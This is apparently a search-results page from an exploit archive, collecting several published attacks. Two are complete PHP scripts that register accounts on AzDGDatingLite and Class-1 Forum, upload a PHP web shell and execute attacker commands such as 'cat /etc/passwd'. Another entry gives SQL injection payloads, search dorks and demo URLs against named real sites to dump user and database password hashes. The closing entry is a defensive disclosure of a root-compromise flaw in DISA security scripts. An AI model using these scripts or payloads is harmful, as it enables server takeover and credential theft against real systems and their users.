shell upload

Search result for 'shell upload'
(0.0595278739929 seconds)

rgod/AzDGDatingLite <= 2.1.3 Remote Code Execution Exploit ( php)

<?php
#   azdgexpl.php                                                               #
#                                                                              #
#   AzDGDatingLite V 2.1.3 ( possibly prior versions) remote code execution    #
#   with generic http proxy support                                            #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   go!                                                                        #
#                                                                              #
#   Sun-tzu: "Therefore, I say: Know your enemy and know yourself; in a        #
#   hundred battles, you will never be defeated. When you are ignorant         #
#   of the enemy but know yourself, your chances of winning or losing          #
#   are equal. If ignorant both of your enemy and of yourself, you are         #
#   sure to be defeated in every battle."                                      #
#                                                                              #


error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title>AzDGDatingLite V 2.1.3  remote commands execution</title><meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> AzDGDatingLi
te V 2.1.3 (possibly prior versions) remote commands execution</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org"    target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&uploaddir=value"> <p>    <input type=
"text" name="host"><span class="Stile5">hostname (ex: www.sitename.com)  </span>
</p><p><input type="text" name="path"><span class="Stile5">  path (ex: /azdg/ or
just /) </span></p><p><input type="text"   name="port" >   <span class="Stile5">
specify a port other than 80 (default value)  </span></p><p> <input  type="text"
name="command"> <span  class="Stile5"> a Unix command , example: ls -la  to list
directories, cat /etc/passwd to show passwd file </span></p><p><input type="text
" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por
t</span></p> <p> <input  type="submit"name="Submit" value="go!"></p></form></td>
</tr></table></body></html>';

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -> not a valid proxy...';
	     die;
	    }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($command<>''))
{
  if ($port=='') {$port=80;}

# step 1 -> register and upload the evil jpeg file

srand(make_seed());
$anumber=rand(10000,99999);

//do not modify absolutely CRLF and spaces here...
$data='-----------------------------23281168279961
Content-Disposition: form-data; name="l"

default
-----------------------------23281168279961
Content-Disposition: form-data; name="a"

a
-----------------------------23281168279961
Content-Disposition: form-data; name="fname"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="lname"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="pass"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="rpass"

jimihendrix'.$anumber.'
-----------------------------23281168279961
Content-Disposition: form-data; name="month"

11
-----------------------------23281168279961
Content-Disposition: form-data; name="day"

27
-----------------------------23281168279961
Content-Disposition: form-data; name="year"

1942
-----------------------------23281168279961
Content-Disposition: form-data; name="gender"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="purpose"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="country"

158
-----------------------------23281168279961
Content-Disposition: form-data; name="email"

jimihendrix'.$anumber.'@hotmail.com
-----------------------------23281168279961
Content-Disposition: form-data; name="url"


-----------------------------23281168279961
Content-Disposition: form-data; name="icq"


-----------------------------23281168279961
Content-Disposition: form-data; name="aim"


-----------------------------23281168279961
Content-Disposition: form-data; name="phone"


-----------------------------23281168279961
Content-Disposition: form-data; name="city"


-----------------------------23281168279961
Content-Disposition: form-data; name="marstat"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="child"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="height"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="weight"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="hcolor"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="ecolor"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="etnicity"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="religion"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="smoke"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="drink"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="education"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="job"


-----------------------------23281168279961
Content-Disposition: form-data; name="hobby"


-----------------------------23281168279961
Content-Disposition: form-data; name="descr"

rock star
-----------------------------23281168279961
Content-Disposition: form-data; name="sgender"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="setnicity"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="sreligion"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="agef"

14
-----------------------------23281168279961
Content-Disposition: form-data; name="aget"

60
-----------------------------23281168279961
Content-Disposition: form-data; name="heightf"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="heightt"

22
-----------------------------23281168279961
Content-Disposition: form-data; name="weightf"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="weightt"

45
-----------------------------23281168279961
Content-Disposition: form-data; name="hdyfu"

0
-----------------------------23281168279961
Content-Disposition: form-data; name="file0"; filename="jimihendrix.gif"
Content-Type: image/jpeg

';

$shell='<?php error_reporting(0); system($HTTP_GET_VARS[cmd].'."'".' > README'."'".'); ?>';

$data.=$shell;

$data.='
-----------------------------23281168279961
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream


-----------------------------23281168279961
Content-Disposition: form-data; name="file2"; filename=""
Content-Type: application/octet-stream


-----------------------------23281168279961--';
if ($proxy=='')
{$packet="POST ".$path."/add.php HTTP/1.1\r\n";}
else
{$packet="POST http://".$host.$path."add.php HTTP/1.1\r\n";}
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Language: en-us,en;q=0.5\r\n";
$packet.="Accept-Encoding: gzip,deflate\r\n";
$packet.="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet.="Connection: close\r\n";
$packet.="Referer: http://".$host.$path."add.php?l=default\r\n";
$packet.="Cookie: PHPSESSID=13798fab78f7fa6e5bb501ac83329bdd\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------23281168279961\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);

#step 2 -> retrieve upload subdir name and filename from index e profile page
if ($proxy=='')
{$packet="GET ".$path." HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path." HTTP/1.0 \r\n";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);

$temp='';$i=0;
while (!eregi('jimihendrix'.$anumber,$temp))
{
$temp.=$html[$i];
$i=$i+1;
if (eregi('</html>',$temp)) { die(" Exploit failed... ");}
}

$temp2=explode('<a href="',$temp);
$temp3=count($temp2)-1;
$temp=$temp2[$temp3];
$temp2=explode('"',$temp);
$profile=$temp2[0];

echo '<br>retrieving shell path from /'.$profile.'<br><br>';

if ($proxy=='')
{$packet="GET ".$path.$profile." HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path.$profile." HTTP/1.0 \r\n";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);

$temp='';$i=0;
while (!eregi('jimihendrix'.$anumber,$temp))
{
$temp.=$html[$i];
$i=$i+1;
if (eregi('</html>',$temp)) { die(" Exploit failed... ");}
}

$temp2=explode('<a href="',$temp);
$temp3=count($temp2)-1;
$temp=$temp2[$temp3];
$temp2=explode('"',$temp);
$shellfullpath=$temp2[0];

echo '<br>Ok,found... shell is at '.$shellfullpath.'<br><br>';
$temp=explode("/",$shellfullpath);
$temp2=count($temp)-1;
$subdir=$temp[$temp2-1];
$filename=$temp[$temp2];

# step 3 -> launch commands
if ($proxy=='')
{$packet="GET ".$path."include/security.inc.php?cmd=".urlencode($command)."&l=".urlencode("../../../members/uploads/".$subdir."/".$filename.chr(0x00))." HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."include/security.inc.php?cmd=".urlencode($command)."&l=".urlencode("../../../members/uploads/".$subdir."/".$filename.chr(0x00))." HTTP/1.0 \r\n";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);

# step 4 -> making a GET request for redirected output
echo '<br> if AzDGDatingLite is unpatched and vulnerable now you will see '.htmlentities($command).'output...<br><br>';

if ($proxy=='')
{$packet="GET ".$path."include/README HTTP/1.0 \r\n";}
else
{$packet="GET http://".$host.$path."include/README HTTP/1.0 \r\n";}
$packet.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
}
?>

# milw0rm.com [2005-09-13]


rgod/Class-1 Forum <= 0.24.4 Remote Code Execution Exploit ( php)

<?php

# 6.44 08/09/2005
#
# Class-1 Forum sql injection / remote code execution poc exploit
#
# coded by rgod -> http://rgod.altervista.org
#
# make these changes in php.ini if you have troubles
# with this script:
#
# allow_call_time_pass_reference = on
# register_globals = on
#
# this is my piece of poetry...

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo '<head><title>class1 remote commands execution</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
      <style type="text/css">
      <!--
      body,td,th {color: #00FF00;}
      body {background-color: #000000;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
	       font-weight: bold;
	       font-style: italic;
              }
      -->
      </style></head>
      <body>
      <p class="Stile6">Class-1 Forum (possibly prior versions) remote commands execution</p>
      <p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>
      <table width="84%" >
      <tr>
      <td width="43%">
      <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value&port=value&command=value&proxy=value">
      <p>
       <input type="text" name="host">
      <span class="Stile5">hostname (ex: www.sitename.com) </span></p>
      <p>
        <input type="text" name="path">
        <span class="Stile5">path (ex: /class1/ or /forum/ or just /) </span></p>
      <p>
      <input type="text" name="port">
      <span class="Stile5">specify a port other than 80 (default value) </span></p>
      <p>
      <input type="text" name="command">
        <span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>
      <p>
      <input type="text" name="proxy">
        <span class="Stile5">send exploit through an HTTP proxy (ip:port)  </span></p>
      <p>
          <input type="submit" name="Submit" value="go!">
      </p>
    </form></td>
    </tr>
   </table>
</body>
</html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".htmlentities($headeri[$li])."</td>";
			    }

echo "</tr></table>";
}



$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';


if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}


#STEP 1 -> REGISTER
$anumber=rand();

$data="username=jimihendrix".$anumber."&email=jimihendrix".$anumber."@mail.com&password=jimyjimy&password2=jimyjimy&icq=&aim=&msn=&yahoo=&website=http%3A%2F%2F&location=&occupation=&interests=&signature=&notify_private=on&post_count_per_page=10&thread_count_per_page=20&msg_count_per_page=20&date_syntax=D%2C+d+M+Y%2C+G%3Ai%3As";

if ($proxy=='')
       {
        $packet="POST ".$path."users.php?mode=postuser HTTP/1.1\r\n";

       }
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...<br>';
	            die;
	           }
         else
        {
        $packet="POST http://".$host.$path."users.php?mode=postuser HTTP/1.1\r\n";

        }
	}

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."users.php?mode=register\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";
$packet.=$data;

show($packet);

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }
	    }
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
echo nl2br(htmlentities($data));

#STEP 2 -> LOGIN
$data="username=jimihendrix".$anumber."&password=jimyjimy";
if ($proxy=='')
       {
        $packet="POST ".$path."login.php HTTP/1.1\r\n";

       }
else
       {

        $packet="POST http://".$host.$path."login.php HTTP/1.1\r\n";

       }


$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."users.php?mode=login\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";
$packet.=$data;

show($packet);

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }
	    }
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
echo nl2br(htmlentities($data));


#STEP 3 -> UPLOAD A FILE / SQL INJECTION

$data='-----------------------------7d51143b10418
Content-Disposition: form-data; name="filename"; filename="shell.php.'."' or 'a' ='a".'"
Content-Type: text/plain

<?php error_reporting(0); system($HTTP_GET_VARS[command]); ?>
-----------------------------7d51143b10418
Content-Disposition: form-data; name="description"


-----------------------------7d51143b10418
Content-Disposition: form-data; name="subject"


-----------------------------7d51143b10418
Content-Disposition: form-data; name="message"


-----------------------------7d51143b10418
Content-Disposition: form-data; name="inc_sig"


-----------------------------7d51143b10418--';

if ($proxy=='')
       {
        $packet="POST ".$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1 HTTP/1.1\r\n";

       }
else
       {

       $packet="POST http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1 HTTP/1.1\r\n";

       }

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d51143b10418\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mediapartners-Google/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";
$packet.=$data;

show($packet);

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }
	    }
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
echo nl2br(htmlentities($data));



#STEP 4 -> retrieving upload directory name

if ($proxy=='')
       {
        $packet="GET ".$path."viewattach.php HTTP/1.1\r\n";
       }
else
       {
       $packet="GET http://".$host.$path."viewattach.php HTTP/1.1\r\n";
       }

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";

show($packet);

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }
	    }
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
echo nl2br(htmlentities($data));

$location=explode('location: ',$data);
$temp=$location[1];
$temp2=explode('/',$temp);
$location=$temp2[0].'/';

if ($location=='') {
		   echo 'Some problem to retrieve upload directory...<br>';
		   echo 'check this url manually... -> <a href="http://'.$host.':'.$port.$path.'viewattach.php" target="_blank">http://'.$host.':'.$port.$path.'viewattach.php</a><br>';
		   echo 'you will be redirected to upload dir...<br>';
		   echo 'then append this filename: '."shell.php.' or 'a' ='a".' and type commands <br>';
		   echo 'appending again ?command=[your command] <br>';
		   die;
		  }

echo 'Found ... checking this location -> '.htmlentities($location);


#STEP 5 -> Launching commands...

if ($proxy=='')
       {
        $packet="GET ".$path.$location."shell.php.'%20or%20'a'%20='a?command=".urlencode($command)." HTTP/1.1\r\n";
       }
else
       {
       $packet="GET http://".$host.$path.$location."shell.php.'%20or%20'a'%20='a?command=".urlencode($command)." HTTP/1.1\r\n";
       }

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";

show($packet);

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }
	    }
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
   while (!feof($fp))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
echo 'If Class-1 Forum is unpatched and vulnerable, now you will see '.htmlentities($command).' output...';
echo nl2br(htmlentities($data));

}


?>

# milw0rm.com [2005-09-09]


CaSpErHaK/MediaWave News SQL Injection ( na)

# Exploit Title: [MediaWave(news)&amp; more SQL injection]
# Date: [14-6-2010]
# Author: [CaSpErHaK]
# Tested on: [linux]

====================Founded By CaSpErHaK===============


Dork in google:- inurl:"news_d.php?id="
   and Another:- inurl:"news2.php?id="

# Exploit :

1st............http://[site/path/news_d.php?id={SQLi}

..........for site powered by MediaWave.....

# Poc :

  union select 1,2,concat(ID,0x3a,nome,0x3a,pass),4+from+downloads_user--
=================

# Demo :-

    http://www.veraqualitas.com/news_d.php?ID=-15+union+select+1,2,concat(ID,0x3a,nome,0x3a,pass),4+from+downloads_user--


==============================================================================================================

..........for 0ther site.......

# Poc :

  union select 1,2,3,4,5,6,7,8,concat(id,0x3a,loginid,0x3a,password),10,11+from+lon_adminuser--
=================

# Demo :-

   http://www.levelone.eu/news_d.php?id=-90+union+select+1,2,3,4,5,6,7,8,concat(id,0x3a,loginid,0x3a,password),10,11+from+lon_adminuser--

================================================================================================================

# u can get to root in some sites from Table "mysql.user"

# Demo :-

  http://www.bedag.ch/news/news_d.php?id=-64+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat(user,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+mysql.user--


==================================================================================================================
///////////////////////////////////////////////////////////////////////////////
# Exploit :

2nd...............http://[site]/path/news2.php?id={SQLi}



........................for site powered by MediaWave.............

# Poc :

  union select 1,2,3,concat(id,0x3a,usr,0x3a,pwd)+from+ssp_usrs--
================

# Demo :-

    http://www.aubergeduchasseur.ch/news2.php?ID=-54+union select 1,2,3,concat(id,0x3a,usr,0x3a,pwd)+from+ssp_usrs--

================================================================================================================


# ................for version 4............

# Poc :

    union+select+1,2,3,4,5,concat(user,0x3a,password),7+from+users--

# Demo :

    http://www.almaddbepk.com/news2.php?id=-35+union+select+1,2,3,4,5,concat(user,0x3a,password),7+from+users--

================================================================================================================

# Note :

    1  in u found version "5.0.84-log" from Database.......
    0  u can use order SQL "load_file('/etc/passwd')
    1  must be magic quotes=OFF by get to folder have chmod 777 u can inject file have extention ".php" 
    0  and have Remote File Inclusion then u can upload shell.txt? from any site
    1  by get to folder have chmod 777
====================

# Demo  :

   http://www.mediawave.ch/news2_fr.php?ID=25+union+select+1,2,3,4,5,6,7,load_file('/etc/passwd')--

===============================================================================================================


Greetz to>>>>> H4ckforu Team.. KONDAMNE , Mr.Nid4 , Anti-tr4Ck3r , ra3ch

&amp; All Muslim KackeRs

http://www.h4ckforu.com


# Email : Casper_x28[at]hotmail.com


MediaWave News suffers from a remote SQL injection vulnerability.

Frank Stuart/DISA SRR Root Compromise ( na)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Executive Summary
- -----------------

Unprivileged local users can obtain root access on Unix systems where
the DISA SRR scripts are run.  If a remote user can introduce a file
into the filesystem (e.g. anonymous ftp, http upload, cdrom, samba
share, etc.), root access may be obtained by remote, and potentially
anonymous, users.

Software Description
- --------------------

The U.S. Defense Information Systems Agency (DISA) publishes Security
Readiness Review scripts (SRRs) to ensure systems and software meet
security baselines required by the Department of Defense.  The SRRs are
commonly run on military systems and DISA makes them available to other
government agencies and the general public (at their own risk) at
http://iase.disa.mil/stigs/SRR/index.html.

This vulnerability report applies to the current (October 15, 2009) Unix
SRR.  It was tested on Solaris/x86 only but is expected to be applicable
to all Unix/Linux versions supported by the software.  DISA publishes
SRR updates approximately once every two months and it is believed that
many previous versions are also vulnerable.

DISA also publishes SRR scripts for other software/operating systems
(e.g. Windows Vista, Oracle database, Open VMS).  These could contain
similar vulnerabilities (I haven't gone looking for them).

Vulnerability Description
- -------------------------

The Unix SRR must be run as root and one of the first things it does is
a global find from /.  It then runs a series of modular scripts looking
for specific vulnerabilities or Potential Discrepancy Items (PDIs).

Some of the PDIs include checks for specific versions of software.
Unfortunately, in some cases, it runs these unknown/untrusted/suspect
programs as root in an attempt to determine the version of the software
it found.

The following programs are known to be run:

     java -version
     openssl version
     php -v
     snort -V
     tshark -v
     vncserver -help
     wireshark -v

An attacker can, for example, create an executable or shell script with
a root kit installer called "php", anywhere in the filesystem.  When the
SRR is run, it will execute "php -v" as root and the root kit will be
installed.  A clever attacker could print out the "good" version string
of php and silently install the root kit.  A very clever attacker could
do the above and then replace the fake php with the real one, covering
his tracks.


Suggested Workaround
- --------------------

Do not run the DISA Unix SRR script until a fix is available.

Suggested Fix
- -------------

The publisher should do a comprehensive review of their software to make
sure they eliminate all cases where they execute
unknown/untrusted/suspect code as root.  Ideally, they should not
execute such code at all, even as an unprivileged user.  A better
approach would be to use "strings" or something similar to look for a
signature to try to determine the version of the software it found.


Vulnerability Reporting/Tracking
- --------------------------------
Reported to CERT Coordination Center September 21, 2009.  Assigned
tracking number VU#433821.


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEVAwUBSxdPY2KGA6cQSpZSAQJy4wf+MRAEiaL9jcHOHqReWBxyf+jSSsU8fxzK
